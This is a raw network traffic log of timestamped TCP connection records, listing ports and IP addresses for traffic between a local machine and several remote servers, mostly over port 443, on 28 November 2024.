Nov 28, 2024 15:17:27.669580936 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.669596910 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.670461893 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.670476913 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.683121920 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.683151007 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.683233023 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.683650970 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.683661938 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.684294939 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.684374094 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.684521914 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.684653044 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.684683084 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.707725048 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.707791090 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.707875013 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:28.045146942 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:28.045147896 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:28.045205116 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:28.045232058 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:28.311189890 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.311285973 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.314537048 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.314610958 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.320147038 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:28.320190907 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:28.320246935 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:28.321681976 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:28.321702957 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:28.364037991 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.364101887 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.366839886 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.366946936 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.380508900 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:28.419173002 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.419277906 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.432972908 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:28.500428915 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:28.538624048 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.538644075 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.538671017 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.538677931 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.538811922 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.538842916 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.538913965 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.538921118 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.538995981 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.538996935 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.539011955 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.539050102 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.539128065 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.539134026 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.539174080 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.539225101 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.539268017 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.539347887 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.560175896 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.560192108 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.560396910 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.560404062 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.560483932 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.561604977 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.562489986 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.562520027 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.562643051 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.562655926 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.562830925 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.562886953 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.904023886 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.904047012 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.904062986 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.904087067 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.904122114 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.904133081 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.904184103 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.911665916 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.911695004 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.911710024 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.911762953 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.911762953 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.911780119 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.911848068 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.912801027 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.912826061 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.912841082 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.912861109 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.912873030 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.912914038 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.912934065 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.921364069 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.921390057 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.921447992 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.921483040 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.921483040 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.921498060 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.921544075 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.921544075 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.944752932 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.944775105 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.944788933 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.944833040 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.944875956 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.944884062 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:28.944940090 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:28.954941034 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:28.955034018 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:28.957304001 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:28.957312107 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:28.957577944 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:28.961061954 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:29.003334045 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:29.084983110 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.085014105 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.085048914 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.085062027 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.085103989 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.085122108 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.101102114 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.101130009 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.101169109 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.101190090 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.101233006 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.101233006 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.105312109 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.105336905 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.105391026 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.105401993 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.105444908 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.105444908 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.108220100 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.108243942 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.108328104 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.108340979 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.108350992 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.108552933 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.138063908 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.138086081 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.138164997 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.138183117 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.138226986 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.138247967 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.138672113 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.138689995 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.140772104 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.140780926 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.145358086 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.145380974 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.145425081 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.145442009 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.145484924 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.145484924 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.147983074 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148004055 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148058891 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148070097 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148092985 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148137093 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148464918 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148493052 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148542881 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148552895 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148607016 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148780107 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148902893 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148921967 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.148964882 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.148977995 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.149018049 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.149065018 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.230967045 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.230986118 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.231092930 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.231092930 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.231103897 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.231151104 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.260541916 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.260564089 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.260607004 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.260623932 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.260649920 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.260679007 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.274768114 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.274786949 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.274873972 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.274873972 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.274888039 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.274981022 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.278980017 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.279002905 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.279102087 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.279102087 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.279114962 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.279179096 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.285851955 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.285871983 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.285964966 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.285964966 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.285973072 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.286026001 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.299249887 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.299269915 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.299329996 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.299340010 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.299367905 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.299387932 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.302687883 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.302707911 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.302762032 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.302776098 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.302870989 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.307018995 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.307040930 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.307095051 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.307105064 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.307143927 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.307161093 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.312817097 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.312839031 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.312891960 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.312899113 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.312941074 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.312954903 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.322210073 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:29.322277069 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:29.324224949 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.324242115 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.324306011 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.324316025 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.324558973 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.330040932 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.330061913 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.330094099 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.330108881 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.330142975 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.330157995 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.335525036 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.335542917 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.335619926 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.335628986 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.335669041 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.335774899 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.335791111 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.335845947 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.335853100 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.335932016 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.341131926 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.341156960 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.341202974 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.341209888 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.341242075 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.341276884 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.343998909 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.344017029 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.344077110 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.344085932 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.344146967 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.344146967 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.346904039 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.346927881 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.347008944 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.347018957 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.347053051 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.347069979 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.362554073 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.362576008 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.362633944 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.362643003 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.362673044 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.362752914 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.366787910 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.366813898 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.366877079 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.366894007 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.366942883 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.375474930 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.375497103 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.375552893 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.375560999 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.375694990 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.385617971 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.386039019 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.386056900 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.386497974 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.386502981 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.398830891 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.398853064 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.398900032 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.398910999 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.398950100 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.398950100 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.418915987 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.418936014 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.419039965 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.419039965 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.419049978 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.419151068 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.461827040 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.461874008 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.461915016 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.461922884 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.461946011 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.461957932 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.463687897 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.464879036 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:29.464946985 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:29.465100050 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:29.474630117 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.474678040 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.475130081 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.475142002 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.476396084 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.476449966 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.476463079 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.476475000 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.476654053 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.478627920 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.478647947 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.478691101 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.478699923 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.478734970 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.478734970 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.483686924 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.483728886 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.483777046 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.483783007 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.483830929 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.483830929 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.488143921 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:29.488156080 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:29.488171101 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:29.488176107 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:29.491527081 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.491544008 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.491597891 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.491605043 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.491672039 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.491672993 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.491714001 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.491733074 CET	443	49771	150.171.27.10	192.168.2.6
